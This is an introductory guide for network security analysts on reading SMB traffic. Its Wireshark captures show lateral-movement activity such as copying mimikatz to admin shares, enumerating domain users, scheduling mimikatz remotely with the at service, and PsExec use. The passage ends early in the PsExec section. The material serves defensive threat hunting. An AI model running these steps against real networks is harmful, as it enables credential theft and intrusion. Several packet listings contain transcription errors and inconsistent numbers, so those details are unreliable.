

An Introduction to SMB for Network Security Analysts

Nate Marx

Of all the common protocols a new analyst encounters, perhaps none is quite as impenetrable as Server Message Block (SMB). Its enormous size, sparse documentation, and wide variety of uses can make it one of the most intimidating protocols for junior analysts to learn. But SMB is vitally important: lateral movement in Windows Active Directory environments can be the difference between a minor and a catastrophic breach, and almost all publicly available techniques for this movement involve SMB in some way. While there are numerous guides to certain aspects of SMB available, I found a dearth of material that was accessible, thorough, and targeted towards network analysis. The goal of this guide is to explain this confusing protocol in a way that helps new analysts immediately start threat hunting with it in their networks, ignoring the irrelevant minutiae that seem to form the core of most SMB primers and focusing instead on the kinds of threats an analyst is most likely to see. This guide necessarily sacrifices completeness for accessibility: further in-depth reading is provided in footnotes. There are numerous simplifications throughout to make the basic operation of the protocol more clear; the fact that they are simplifications will not always be highlighted. Lastly, since this guide is an attempt to explain the SMB protocol from a network perspective, the discussion of host based information (windows logs, for example) has been omitted.

The Basics

At its most basic, SMB is a protocol to allow devices to perform a number of functions on each other over a (usually local) network. SMB has been around for so long and maintains so much backwards compatibility that it contains an almost absurd amount of vestigial functionality, but its modern core use is simpler than it seems. For the most part, today SMB is used to map network drives, send data to printers, read and write remote files, perform remote administration, and access services on remote machines.

SMB runs directly over TCP (port 445) or over NetBIOS (usually port 139, rarely port 137 or 138). To begin an SMB session, the two participants agree on a dialect, authentication is performed, and the initiator connects to a 'tree.' For most intents and purposes, the tree can be thought of as a network share.¹ The PCAP below, shown in Wireshark, demonstrates a simple session setup and tree connect. In this case, the machine 192.168.10.31 is

¹ A network share is some sort of shared resource on the network. Think of a drive or folder accessible over the network.

connecting to the “c\$” share (equivalent to the C:\ drive) on the 192.168.10.30 machine, which is called “admin-pc.”²

9	2017-10-09 10:10:38.203873	192.168.10.31	49238	192.168.10.30	445	SMB	213	Negotiate Protocol Request
10	2017-10-09 10:10:38.204223	192.168.10.30	445	192.168.10.31	49238	SMB2	306	Negotiate Protocol Response
11	2017-10-09 10:10:38.204249	192.168.10.31	49238	192.168.10.30	445	SMB2	162	Negotiate Protocol Request
12	2017-10-09 10:10:38.204464	192.168.10.30	445	192.168.10.31	49238	SMB2	306	Negotiate Protocol Response
13	2017-10-09 10:10:38.204785	192.168.10.31	49238	192.168.10.30	445	SMB2	1777	Session Setup Request
15	2017-10-09 10:10:38.205486	192.168.10.30	445	192.168.10.31	49238	SMB2	314	Session Setup Response
16	2017-10-09 10:10:38.205583	192.168.10.31	49238	192.168.10.30	445	SMB2	156	Tree Connect Request Tree: \\admin-pc\c\$
17	2017-10-09 10:10:38.205771	192.168.10.30	445	192.168.10.31	49238	SMB2	138	Tree Connect Response

If you open this PCAP in Wireshark and look at the packet details, you will find a lot of information, and it can sometimes be difficult to tell what is relevant. Fortunately, as analysts we are mostly unconcerned with the details of these setup packets (with the exception of those relevant to authentication, which is discussed below). For the most part it is sufficient to make note of the machine and share being accessed and move on.

There are two special shares that you will see referenced often: the IPC\$ and ADMIN\$ shares. The ADMIN\$ share can basically be thought of as a symbolic link to the path C:\Windows.³ The IPC\$ share is a little different. It does not map to the file system directly, instead providing an interface through which remote procedure calls (RPC) can be performed, as discussed below.⁴

To get a better idea of how basic actions are performed with SMB, we'll first take a look at a simplified version of a file copy. It looks like [this](#):⁵

57	2017-10-09 10:10:39.125409	192.168.10.31	49238	192.168.10.30	445	SMB2	304	Create Request File: temp\ninikatz.exe
58	2017-10-09 10:10:39.126058	192.168.10.30	445	192.168.10.31	49238	SMB2	386	Create Response File: temp\ninikatz.exe
59	2017-10-09 10:10:39.126083	192.168.10.31	49238	192.168.10.30	445	SMB2	275	GetInfo Request FS_INFO\LeaPInfo\LeaPInfoInformation File: temp\ninikatz.exe\getInfo Request FS_INFO\Files\AttributeInformation File: temp\ninikatz.exe
60	2017-10-09 10:10:39.126089	192.168.10.30	445	192.168.10.31	49238	SMB2	258	GetInfo Response\getInfo Response
61	2017-10-09 10:10:39.126743	192.168.10.31	49238	192.168.10.30	445	SMB2	162	SetInfo Request FILE_INFO\SMR2_FILE_ENDOFFILE_INFO File: temp\ninikatz.exe
62	2017-10-09 10:10:39.126953	192.168.10.30	445	192.168.10.31	49238	SMB2	124	SetInfo Response
71	2017-10-09 10:10:39.130425	192.168.10.31	49238	192.168.10.30	445	SMB2	38714	Write Request Len:65536 Off:0 File: temp\ninikatz.exe [TCP segment of a reassembled PDU]
74	2017-10-09 10:10:39.130707	192.168.10.30	445	192.168.10.31	49238	SMB2	138	Write Response
76	2017-10-09 10:10:39.130804	192.168.10.31	49238	192.168.10.30	445	SMB2	42394	Write Request Len:65536 Off:65536 File: temp\ninikatz.exe [TCP segment of a reassembled PDU]
79	2017-10-09 10:10:39.131049	192.168.10.30	445	192.168.10.31	49238	SMB2	138	Write Response
88	2017-10-09 10:10:39.131875	192.168.10.31	49238	192.168.10.30	445	SMB2	38814	Write Request Len:65536 Off:131872 File: temp\ninikatz.exe [TCP segment of a reassembled PDU]
85	2017-10-09 10:10:39.132049	192.168.10.30	445	192.168.10.31	49238	SMB2	138	Write Response
88	2017-10-09 10:10:39.131632	192.168.10.31	49238	192.168.10.30	445	SMB2	43854	Write Request Len:65536 Off:196688 File: temp\ninikatz.exe [TCP segment of a reassembled PDU]
93	2017-10-09 10:10:39.132062	192.168.10.30	445	192.168.10.31	49238	SMB2	54874	Write Request Len:65536 Off:262144 File: temp\ninikatz.exe [TCP segment of a reassembled PDU]
97	2017-10-09 10:10:39.132476	192.168.10.31	49238	192.168.10.30	445	SMB2	64294	Write Request Len:65536 Off:327680 File: temp\ninikatz.exe [TCP segment of a reassembled PDU]
98	2017-10-09 10:10:39.132642	192.168.10.30	445	192.168.10.31	49238	SMB2	138	Write Response
101	2017-10-09 10:10:39.132962	192.168.10.31	49238	192.168.10.30	445	SMB2	42394	Write Request Len:65536 Off:393216 File: temp\ninikatz.exe [TCP segment of a reassembled PDU]
102	2017-10-09 10:10:39.132789	192.168.10.30	445	192.168.10.31	49238	SMB2	138	Write Response
105	2017-10-09 10:10:39.132886	192.168.10.31	49238	192.168.10.30	445	SMB2	46774	Write Request Len:65536 Off:524288 File: temp\ninikatz.exe [TCP segment of a reassembled PDU]
106	2017-10-09 10:10:39.132981	192.168.10.30	445	192.168.10.31	49238	SMB2	138	Write Response
111	2017-10-09 10:10:39.132997	192.168.10.31	49238	192.168.10.30	445	SMB2	46774	Write Request Len:65536 Off:589824 File: temp\ninikatz.exe [TCP segment of a reassembled PDU]
115	2017-10-09 10:10:39.133251	192.168.10.31	49238	192.168.10.30	445	SMB2	64294	Write Request Len:65536 Off:655368 File: temp\ninikatz.exe [TCP segment of a reassembled PDU]
119	2017-10-09 10:10:39.133498	192.168.10.31	49238	192.168.10.30	445	SMB2	64294	Write Request Len:65536 Off:720896 File: temp\ninikatz.exe [TCP segment of a reassembled PDU]
123	2017-10-09 10:10:39.133715	192.168.10.31	49238	192.168.10.30	445	SMB2	64294	Write Request Len:65536 Off:786352 File: temp\ninikatz.exe [TCP segment of a reassembled PDU]
124	2017-10-09 10:10:39.133783	192.168.10.30	445	192.168.10.31	49238	SMB2	138	Write Response
126	2017-10-09 10:10:39.133869	192.168.10.31	49238	192.168.10.30	445	SMB2	16054	Write Request Len:17928 Off:786432 File: temp\ninikatz.exe
127	2017-10-09 10:10:39.133948	192.168.10.30	445	192.168.10.31	49238	SMB2	138	Write Response
130	2017-10-09 10:10:39.134835	192.168.10.30	445	192.168.10.31	49238	SMB2	138	Write Response
132	2017-10-09 10:10:39.134210	192.168.10.30	445	192.168.10.31	49238	SMB2	138	Write Response
133	2017-10-09 10:10:39.134171	192.168.10.30	445	192.168.10.31	49238	SMB2	138	Write Response
135	2017-10-09 10:10:39.134222	192.168.10.30	445	192.168.10.31	49238	SMB2	138	Write Response
136	2017-10-09 10:10:39.134262	192.168.10.30	445	192.168.10.31	49238	SMB2	138	Write Response
138	2017-10-09 10:10:39.134358	192.168.10.31	49238	192.168.10.30	445	SMB2	104	SetInfo Request FILE_INFO\SMR2_FILE_BASIC_INFO File: temp\ninikatz.exe
139	2017-10-09 10:10:39.134507	192.168.10.30	445	192.168.10.31	49238	SMB2	124	SetInfo Response
140	2017-10-09 10:10:39.134639	192.168.10.31	49238	192.168.10.30	445	SMB2	202	Create Request File: temp\ninikatz.exe
141	2017-10-09 10:10:39.134797	192.168.10.30	445	192.168.10.31	49238	SMB2	242	Create Response File: temp\ninikatz.exe
142	2017-10-09 10:10:39.134872	192.168.10.31	49238	192.168.10.30	445	SMB2	146	Close Request File: temp\ninikatz.exe
143	2017-10-09 10:10:39.135008	192.168.10.30	445	192.168.10.31	49238	SMB2	182	Close Response

² This network setup may look familiar to you. This and all the PCAPs referenced in this document are loosely based on the lab setup in the fantastic Microsoft Advanced Threat Analytics Attack Simulation Playbook here: <https://gallery.technet.microsoft.com/ATA-Playbook-ef0a8e38>. This is a great resource whether you use ATA in your environment or not.

³ For further reading, see here:

<http://www.intelliadmin.com/index.php/2007/10/the-admin-share-explained/>

⁴ For further info, see here: <http://smallvoid.com/article/winnt-ipc-share.html> and here:

<https://support.microsoft.com/en-us/help/3034016/ipc-share-and-null-session-behavior-in-windows>

⁵ The added complexity in the full PCAP comes from two things: creating and setting the appropriate metadata of the C:\temp folder, and adding metadata to the received mimikatz file and \tmp directory.

The first action we see is parsed by Wireshark as “Create Request File.” In this instance, this tells 192.168.10.30 that 192.168.10.31 would like to create the file mimikatz.exe⁶ (1). It is important to note that this is the same command used to access a file, so seeing a “Create Request” doesn’t always mean that a file is being created. 192.168.10.31 retrieves some information about the filesystem it’s writing to with GetInfo (2), and then transmits some length information with SetInfo (3). Next 192.168.10.31 requests a number of writes to send the actual file bytes over (4). We append some metadata (including timestamps) to the complete remote file (5) and close it. Our file transfer is now complete.

Reads work similarly; the following PCAP shows the write operation exactly reversed. Host 192.168.10.31 is downloading mimikatz from host 192.168.10.30.

27	2017-12-08 11:37:40.381154	192.168.10.31	1112	192.168.10.30	445	SMB2	1	338	Create Request File: temp\mimikatz.exe
28	2017-12-08 11:37:40.381397	192.168.10.30	445	192.168.10.31	1112	SMB2	2	338	Create Response File: temp\mimikatz.exe
29	2017-12-08 11:37:40.381597	192.168.10.31	1112	192.168.10.30	445	SMB2	3	356	GetInfo Request: FILE_INFO/SMB2_FILE_INFO File: temp\mimikatz.exe;GetInfo Request: FILE_INFO/SMB2_FILE_STREAM_INFO File: temp\mimikatz.exe
30	2017-12-08 11:37:40.381828	192.168.10.30	445	192.168.10.31	1112	SMB2	4	356	GetInfo Response: GetInfo Response
31	2017-12-08 11:37:40.382468	192.168.10.31	1112	192.168.10.30	445	SMB2	5	275	SetInfo Request: FS_INFO/FileVolumeInformation File: temp\mimikatz.exe;GetInfo Request: FS_INFO/FileAttributeInformation File: temp\mimikatz.exe
32	2017-12-08 11:37:40.382714	192.168.10.30	445	192.168.10.31	1112	SMB2	6	275	SetInfo Response: SetInfo Response
33	2017-12-08 11:37:40.382889	192.168.10.31	1112	192.168.10.30	445	SMB2	7	171	Read Request: Len:65536 Off:0 File: temp\mimikatz.exe
34	2017-12-08 11:37:40.382956	192.168.10.31	1112	192.168.10.30	445	SMB2	8	171	Read Request: Len:65536 Off:65536 File: temp\mimikatz.exe
82	2017-12-08 11:37:40.383729	192.168.10.30	445	192.168.10.31	1112	SMB2	9	1514	Read Response: [TCP segment of a reassembled PDU]
131	2017-12-08 11:37:40.384234	192.168.10.30	445	192.168.10.31	1112	SMB2	10	1514	Read Response
133	2017-12-08 11:37:40.385093	192.168.10.31	1112	192.168.10.30	445	SMB2	11	171	Read Request: Len:65536 Off:131872 File: temp\mimikatz.exe
134	2017-12-08 11:37:40.385149	192.168.10.31	1112	192.168.10.30	445	SMB2	12	171	Read Request: Len:65536 Off:136448 File: temp\mimikatz.exe
135	2017-12-08 11:37:40.385283	192.168.10.31	1112	192.168.10.30	445	SMB2	13	171	Read Request: Len:65536 Off:142016 File: temp\mimikatz.exe
136	2017-12-08 11:37:40.385356	192.168.10.31	1112	192.168.10.30	445	SMB2	14	171	Read Request: Len:65536 Off:147584 File: temp\mimikatz.exe
136	2017-12-08 11:37:40.385744	192.168.10.30	445	192.168.10.31	1112	SMB2	15	1514	Read Response: [TCP segment of a reassembled PDU]
233	2017-12-08 11:37:40.386988	192.168.10.30	445	192.168.10.31	1112	SMB2	16	1514	Read Response: [TCP segment of a reassembled PDU]
281	2017-12-08 11:37:40.387242	192.168.10.30	445	192.168.10.31	1112	SMB2	17	1514	Read Response: [TCP segment of a reassembled PDU]
295	2017-12-08 11:37:40.387435	192.168.10.30	445	192.168.10.31	1112	SMB2	18	1514	Read Response: [TCP segment of a reassembled PDU]
331	2017-12-08 11:37:40.388027	192.168.10.31	1112	192.168.10.30	445	SMB2	19	171	Read Request: Len:65536 Off:193216 File: temp\mimikatz.exe
332	2017-12-08 11:37:40.388082	192.168.10.31	1112	192.168.10.30	445	SMB2	20	171	Read Request: Len:65536 Off:198784 File: temp\mimikatz.exe
333	2017-12-08 11:37:40.388116	192.168.10.31	1112	192.168.10.30	445	SMB2	21	171	Read Request: Len:65536 Off:204352 File: temp\mimikatz.exe
334	2017-12-08 11:37:40.388147	192.168.10.31	1112	192.168.10.30	445	SMB2	22	171	Read Request: Len:65536 Off:209920 File: temp\mimikatz.exe
336	2017-12-08 11:37:40.388186	192.168.10.31	1112	192.168.10.30	445	SMB2	23	171	Read Request: Len:65536 Off:215488 File: temp\mimikatz.exe
337	2017-12-08 11:37:40.388217	192.168.10.31	1112	192.168.10.30	445	SMB2	24	171	Read Request: Len:65536 Off:221056 File: temp\mimikatz.exe
377	2017-12-08 11:37:40.388484	192.168.10.31	1112	192.168.10.30	445	SMB2	25	171	Read Request: Len:17928 Off:786432 File: temp\mimikatz.exe
387	2017-12-08 11:37:40.388837	192.168.10.30	445	192.168.10.31	1112	SMB2	26	1514	Read Response: [TCP segment of a reassembled PDU]
435	2017-12-08 11:37:40.389272	192.168.10.30	445	192.168.10.31	1112	SMB2	27	1514	Read Response: [TCP segment of a reassembled PDU]
482	2017-12-08 11:37:40.389718	192.168.10.30	445	192.168.10.31	1112	SMB2	28	1514	Read Response: [TCP segment of a reassembled PDU]
536	2017-12-08 11:37:40.318616	192.168.10.30	445	192.168.10.31	1112	SMB2	29	1514	Read Response: [TCP segment of a reassembled PDU]
578	2017-12-08 11:37:40.318832	192.168.10.30	445	192.168.10.31	1112	SMB2	30	1514	Read Response: [TCP segment of a reassembled PDU]
626	2017-12-08 11:37:40.311833	192.168.10.30	445	192.168.10.31	1112	SMB2	31	1514	Read Response: [TCP segment of a reassembled PDU]
639	2017-12-08 11:37:40.311838	192.168.10.30	445	192.168.10.31	1112	SMB2	32	68	Read Response
642	2017-12-08 11:37:40.315345	192.168.10.31	1112	192.168.10.30	445	SMB2	33	146	Close Request File: temp
643	2017-12-08 11:37:40.315392	192.168.10.30	445	192.168.10.31	1112	SMB2	34	182	Close Response
645	2017-12-08 11:37:53.518466	192.168.10.31	1112	192.168.10.30	445	SMB2	35	146	Close Request File: temp\mimikatz.exe
646	2017-12-08 11:37:53.518797	192.168.10.30	445	192.168.10.31	1112	SMB2	36	182	Close Response
647	2017-12-08 11:37:53.518892	192.168.10.31	1112	192.168.10.30	445	SMB2	37	146	Close Request File: temp\mimikatz.exe
648	2017-12-08 11:37:53.519095	192.168.10.30	445	192.168.10.31	1112	SMB2	38	182	Close Response

We begin by “creating” the request file again (1), though in this case it is an extant file that we are requesting a handle to. We use GetInfo to get a number of pieces of metadata from the file (2), and then make read requests for the actual file bytes (3).

There are a large number of other SMB commands, but many of them are either rare or relatively self explanatory, and we won’t go into detail about them here.⁷ You may encounter AndX commands,⁸ which can be confusing at first. These simply allow two commands to be packaged as one, with one SMB header. For most purposes, you can treat them as two separate commands.

⁶ The phenomenal mimikatz tool, by Benjamin Delpy, is an essential part of every security researcher’s toolbox. It can be found here: <https://github.com/gentilkiwi/mimikatz>. Precompiled versions are available here: <https://github.com/gentilkiwi/mimikatz/releases>

⁷ For more information, see here: <https://msdn.microsoft.com/en-us/library/ee441741.aspx>.

⁸ <https://msdn.microsoft.com/en-us/library/ee442210.aspx>

Authentication

As security analysts, one of the details we are most interested in from SMB traffic is user/machine pairing. An unusual login on a device can be a thread that unravels an entire lateral movement attempt. In Windows Active Directory environments, there are two main ways that hosts authenticate to servers and each other: NTLM and Kerberos. NTLM, the older of the two, has been in use since the release of Windows NT in 1993 but remains supported in the latest versions of Windows.⁹ It uses a user's password hash to encrypt a challenge it is sent by the device it is authenticating to. It is thus extremely vulnerable to pass-the-hash type attacks,¹⁰ and Kerberos is the recommended authentication protocol for Active Directory environments. NTLM continues to be used in Workgroup environments (Windows environments without domain controllers) and some older systems.¹¹

Kerberos, introduced to Active Directory in Windows 2000, is a more modern and robust authentication protocol, but requires a Ticket Granting Server (TGS) to operate, usually on an Active Directory Domain Controller. A full explanation of Kerberos is beyond the scope of this paper,¹² so we will instead focus on the two aspects of the protocol that are important for our discussion here. One, Kerberos authentication happens separately from SMB, and involves interaction with a TGS and the service you are attempting to authenticate to. Two, Kerberos tickets, used to access services on remote machines, do not contain user information that is useful to us in cleartext.

Pass-the-hash attacks on NTLM and pass-the-ticket attacks on Kerberos¹³ can both be very difficult to detect at a network level, since the traffic often looks the same as legitimate use. It is key for network defenders to have an understanding of what users should be logged into which machines, as well as to maintain good discipline about which accounts are used to access which resources. SMB traffic analysis can sometimes help us with this. NTLM authentication, shown below, includes the user attempting to authenticate in cleartext.¹⁴

709	2016-10-16	02:13:10.445032	192.168.199.132	49670	192.168.199.1	445	SMB2	711	Session Setup Request, NTLMSSP_AUTH, User: DESKTOP-2AEFM76\user
710	2016-10-16	02:13:10.446897	192.168.199.133	445	192.168.199.1	49670	SMB2	131	Session Setup Response, Error: STATUS_LOGON_FAILURE

Depending on how you capture network traffic, it may or may not be possible to follow a Kerberos session. While the username is not included in the cleartext SMB authentication,

⁹ <https://docs.microsoft.com/en-us/windows-server/security/kerberos/ntlm-overview>

¹⁰ See

<http://www.harmj0y.net/blog/redteaming/pass-the-hash-is-dead-long-live-localaccounttokenfilterpolicy/> for more details.

¹¹ See <https://blogs.msdn.microsoft.com/chiranth/2013/09/20/ntlm-want-to-know-how-it-works/> for further details.

¹² See here for more details: <http://www.roguelynn.com/words/explain-like-im-5-kerberos/>

¹³ See here for more information: <https://technet.microsoft.com/en-us/dn785092.aspx>

¹⁴ This PCAP is taken from the wireshark website, it is "smb-on-windows-10.PCAPng"

you may be able to follow the initial authentication with the TGS and see the returned ticket being used in an SMB session. See [here](#) for more details.

RPC

One common use case for SMB is to make remote procedure calls (RPC) to another machine on a local network. This functionality can be used for a number of things, but we are especially interested in how it is used for things like user and group enumeration, which can be signs of attempted lateral movement. It's important to note that RPCs can be made over raw TCP as well as over SMB, so absence of SMB traffic doesn't mean absence of RPC. We'll start by looking at a simple example of RPC over SMB which we might see if someone is attempting to enumerate all the users in our domain using the net command.¹⁵

4	2017-10-09 09:21:18.1189307	192.168.10.31	49282	192.168.10.18	445	SMB	213	Negotiate Protocol Request
5	2017-10-09 09:21:18.118143	192.168.10.18	445	192.168.10.31	49282	SPMB2	305	Negotiate Protocol Response
6	2017-10-09 09:21:18.118185	192.168.10.31	49282	192.168.10.18	445	SPMB2	162	Negotiate Protocol Request
7	2017-10-09 09:21:18.118157	192.168.10.18	445	192.168.10.31	49282	SPMB2	306	Negotiate Protocol Response
8	2017-10-09 09:21:18.118063	192.168.10.31	49282	192.168.10.18	445	SPMB2	3139	Session Setup Request
10	2017-10-09 09:21:18.115348	192.168.10.18	445	192.168.10.31	49282	SPMB2	314	Session Setup Response
11	2017-10-09 09:21:18.116577	192.168.10.31	49282	192.168.10.18	445	SPMB2	179	Tree Connect Request Tree: \\DC1.contoso.local\IPC\$
12	2017-10-09 09:21:18.118599	192.168.10.18	445	192.168.10.31	49282	SPMB2	138	Tree Connect Response
13	2017-10-09 09:21:18.111912	192.168.10.31	49282	192.168.10.18	445	SPMB2	186	Create Request File: samr
14	2017-10-09 09:21:18.112147	192.168.10.18	445	192.168.10.31	49282	SPMB2	210	Create Response File: samr
15	2017-10-09 09:21:18.112285	192.168.10.31	49282	192.168.10.18	445	SPMB2	162	GetInfo Request FILE_INFO/SPMB2_FILE_STANDARD_INFO File: samr
16	2017-10-09 09:21:18.112341	192.168.10.18	445	192.168.10.31	49282	SPMB2	154	GetInfo Response
17	2017-10-09 09:21:18.112412	192.168.10.31	49282	192.168.10.18	445	DCERPC	330	Bind: call_id: 2, Fragment: Single, 3 context items: SAMR V1.0 (32bit NDR), SAMR V1.0 (64bit NDR), SAMR V1.0 (64bit NDR)
18	2017-10-09 09:21:18.112585	192.168.10.18	445	192.168.10.31	49282	SPMB2	138	Write Response
19	2017-10-09 09:21:18.112631	192.168.10.31	49282	192.168.10.18	445	SPMB2	171	Read Request Len:1024 Offset:0 File: samr
20	2017-10-09 09:21:18.112787	192.168.10.18	445	192.168.10.31	49282	DCERPC	254	Bind_ack: call_id: 2, Fragment: Single, max_xmit: 4288 max_recv: 4288, 3 results: Provider rejection, Acceptance, Negotiate ACK
21	2017-10-09 09:21:18.112879	192.168.10.31	49282	192.168.10.18	445	SAMR	294	Connect5 request
22	2017-10-09 09:21:18.113381	192.168.10.18	445	192.168.10.31	49282	SAMR	234	Connect5 response
23	2017-10-09 09:21:18.113241	192.168.10.31	49282	192.168.10.18	445	SAMR	230	EnumDomains request
24	2017-10-09 09:21:18.113487	192.168.10.18	445	192.168.10.31	49282	SAMR	278	EnumDomains response
25	2017-10-09 09:21:18.113564	192.168.10.31	49282	192.168.10.18	445	SAMR	280	LookupDomain request
26	2017-10-09 09:21:18.113775	192.168.10.18	445	192.168.10.31	49282	SAMR	238	LookupDomain response
27	2017-10-09 09:21:18.113895	192.168.10.31	49282	192.168.10.18	445	SAMR	258	OpenDomain request
28	2017-10-09 09:21:18.114177	192.168.10.18	445	192.168.10.31	49282	SAMR	218	OpenDomain response
29	2017-10-09 09:21:18.114234	192.168.10.31	49282	192.168.10.18	445	SAMR	246	OpenDomain request
30	2017-10-09 09:21:18.114578	192.168.10.18	445	192.168.10.31	49282	SAMR	218	OpenDomain response
31	2017-10-09 09:21:18.114671	192.168.10.31	49282	192.168.10.18	445	SAMR	300	LookupNames request
32	2017-10-09 09:21:18.115222	192.168.10.18	445	192.168.10.31	49282	SAMR	258	LookupNames response
33	2017-10-09 09:21:18.115546	192.168.10.31	49282	192.168.10.18	445	SAMR	230	Openuser request
34	2017-10-09 09:21:18.116114	192.168.10.18	445	192.168.10.31	49282	SAMR	218	Openuser response
35	2017-10-09 09:21:18.116178	192.168.10.31	49282	192.168.10.18	445	SAMR	226	QueryUserInfo request
36	2017-10-09 09:21:18.116507	192.168.10.18	445	192.168.10.31	49282	SAMR	854	QueryUserInfo response
37	2017-10-09 09:21:18.116668	192.168.10.31	49282	192.168.10.18	445	SAMR	226	QuerySecurity request
38	2017-10-09 09:21:18.117827	192.168.10.18	445	192.168.10.31	49282	SAMR	362	QuerySecurity response
39	2017-10-09 09:21:18.117895	192.168.10.31	49282	192.168.10.18	445	SAMR	222	GetGroupPartner request
40	2017-10-09 09:21:18.117887	192.168.10.18	445	192.168.10.31	49282	SAMR	246	GetGroupPartner response
41	2017-10-09 09:21:18.117472	192.168.10.31	49282	192.168.10.18	445	SAMR	398	GetAliasMembership request
42	2017-10-09 09:21:18.117712	192.168.10.18	445	192.168.10.31	49282	SAMR	226	GetAliasMembership response

[This PCAP](#) starts similarly to the others we've seen, with a protocol negotiation and session setup (1). Note that we are connecting to the IPC\$ share (2): this will be the tree we connect to for all RPC. Next, we "Create Request File," (3) where the filename is the name of the service we are connecting to (in this case, the Security Accounts Manager (SAMR)). It is important to note that while Wireshark parses the SAMR protocol for us, in the case of a service it doesn't recognize this filename would be very useful to us in identifying what we were querying. Next, we call an RPC bind and then formally connect to the service (4). Now that we're connected to the service, Wireshark parses the individual commands sent to SAMR. We can see that 192.168.10.31 is attempting to enumerate the users in the domain through this service (5).

¹⁵ The exact command being run in this PCAP is "net user /domain". The entire PCAP is not included in this screenshot, see here (INCLUDE PCAP!!)

We'll look at one other simple example of RPC over SMB: using the **at** command to schedule a task on a remote computer.¹⁶ We'll look at only part of the PCAP, from after the session has been set up and we have connected to the IPC\$ share.

1	2017-10-20 12:43:22.992213	192.168.18.31	49266	192.168.18.30	445	SMB2	158	Create Request File: atsvc
2	2017-10-20 12:43:22.992523	192.168.18.30	445	192.168.18.31	49266	SMB2	210	Create Response File: atsvc
3	2017-10-20 12:43:22.992761	192.168.18.31	49266	192.168.18.30	445	SMB2	162	GetInfo Request FILE_INFO/SMB2_FILE_STANDARD_INFO File: atsvc
4	2017-10-20 12:43:22.992777	192.168.18.30	445	192.168.18.31	49266	SMB2	154	GetInfo Response
5	2017-10-20 12:43:22.992817	192.168.18.31	49266	192.168.18.30	445	DCERPC	330	Bind: call_id: 2, Fragment: Single, 3 context items: ATSVIC V1.0 (32bit NDR), ATSVIC V1.0 (64bit NDR), ATSVIC V1.0 (64bit NDR)
6	2017-10-20 12:43:22.992869	192.168.18.30	445	192.168.18.31	49266	SMB2	138	Write Response
7	2017-10-20 12:43:22.993012	192.168.18.31	49266	192.168.18.30	445	SMB2	171	Read Request Len:1824 Off:0 File: atsvc
8	2017-10-20 12:43:22.993206	192.168.18.30	445	192.168.18.31	49266	DCERPC	254	BindAck: call_id: 2, Fragment: Single, max_mit: 4280 max_recv: 4280, 3 results: Provider rejection, Acceptance, Negotiate ACK
9	2017-10-20 12:43:22.993257	192.168.18.31	49266	192.168.18.30	445	ATSVIC	338	JobAdd request
10	2017-10-20 12:43:23.000641	192.168.18.30	445	192.168.18.31	49266	SMB2	131	Ioctl Response, Error: STATUS_PENDING
11	2017-10-20 12:43:23.013330	192.168.18.30	445	192.168.18.31	49266	ATSVIC	282	JobAdd response
13	2017-10-20 12:43:23.013983	192.168.18.31	49266	192.168.18.30	445	SMB2	146	Close Request File: atsvc
14	2017-10-20 12:43:23.014146	192.168.18.30	445	192.168.18.31	49266	SMB2	182	Close Response
16	2017-10-20 12:43:25.380976	192.168.18.31	49266	192.168.18.30	445	SMB2	126	Tree Disconnect Request
17	2017-10-20 12:43:25.380941	192.168.18.30	445	192.168.18.31	49266	SMB2	126	Tree Disconnect Response
18	2017-10-20 12:43:25.380904	192.168.18.31	49266	192.168.18.30	445	SMB2	126	Session Logoff Request
19	2017-10-20 12:43:25.380909	192.168.18.30	445	192.168.18.31	49266	SMB2	126	Session Logoff Response

From a high level, [this PCAP](#) looks similar to the SAMR calls above. We create a request file with the name of the service (1) (atsvc, as we can see from the SMB Create Request File command), call an RPC bind (2), and then send a JobAdd request to the at service (3). There are a couple of things to note: one, since RPC runs on SMB in this case, each RPC command must have an SMB command associated with it. In this instance, RPC bind is on top of an SMB write, while the communication with the service happens over ioctl/fsctl commands.¹⁷ This can be a little confusing, so it can sometimes be best to think of it as three independent layers: the SMB, the RPC, and the service (in this case, ATSVIC). Many RPC commands will ride on top of an SMB ioctl command, as we can see below. Assuming you are not tearing packets apart byte-by-byte, the SMB command is not hugely important: instead, focus on the RPC call or (if Wireshark can parse it) the service running on RPC.¹⁸

Command: Ioctl (11)
Credits requested: 1
Flags: 0x00000000
Chain Offset: 0x00000000
Message ID: Unknown (14)
Process ID: 0x0000feff
Tree ID: 0x00000001
Session ID: 0x0000040000000061
Signature: 00000000000000000000000000000000
[Response in: 11]
Ioctl Request (0x0b)
Distributed Computing Environment / Remote Procedure Call (DCE/RPC) Request, Fragment: Single, FragLen: 160, Call: 2, Ctx: 1, [Resp: #11]
Microsoft AT-Scheduler Service, JobAdd
Operation: JobAdd (0)
[Response in frame: 11]
Pointer to Servername (uint16): \\admin-pc
Pointer to Job Info (atsvc_JobInfo)
JobInfo
Job Time: 47100000
Days Of Month: 0x00000000: (No values set)
Days Of Week: 0x00: (No values set)
Flags: 0x00: (No values set)
Pointer to Command (uint16): c:\mimikatz.exe
Referent ID: 0x0000000000020000
Max Count: 16
Offset: 0
Actual Count: 16
Command: c:\mimikatz.exe

¹⁶ <https://support.microsoft.com/en-us/help/313565/how-to-use-the-at-command-to-schedule-tasks>

¹⁷ <https://msdn.microsoft.com/en-us/library/cc246545.aspx>

¹⁸ This is a significant simplification. The SMB command does ultimately matter and has implications for how the data is passed to the RPC call and the service at a low level. Fully discussing this is beyond the scope of this guide, but I encourage every reader to carefully inspect the RPC calls in each PCAP to see how the SMB, RPC, and service commands relate.

Wireshark parses the at scheduler service command for us, and we can see that the user is attempting to schedule mimikatz to run.

PSEXec

PSEXec, a windows remote administration tool, has long been an attacker favorite for lateral movement in Active Directory environments. PsExec's own website describes it as "a light-weight telnet-replacement that lets you execute processes on other systems, complete with full interactivity for console applications, without having to manually install client software. PsExec's most powerful uses include launching interactive command-prompts on remote systems and remote-enabling tools like IpConfig that otherwise do not have the ability to show information about remote systems."¹⁹ While it is still commonly used for legitimate administration tasks, its extensive functionality makes it useful to attackers. It is worthwhile to keep an eye on all uses of it in your network, if it is deployed at all.

PSEXec can be fairly complicated on the wire, so we will begin by looking at two examples with some simplification. [The first](#) shows PsExec being used to extract a file from a target machine.²⁰

No.	Time	Source	Destination	Protocol	Length	Info
20	2017-10-09 10:13:10.576613	192.168.10.31	49239 192.168.10.30	445	SM2	164 Tree Connect Request Tree: \\admin-pc\ADMIN\$
21	2017-10-09 10:13:10.576881	192.168.10.30	445 192.168.10.31	49239	SM2	138 Tree Connect Response
22	2017-10-09 10:13:10.576942	192.168.10.31	49239 192.168.10.30	445	SM2	346 Create Request File: PSEXESVC.exe
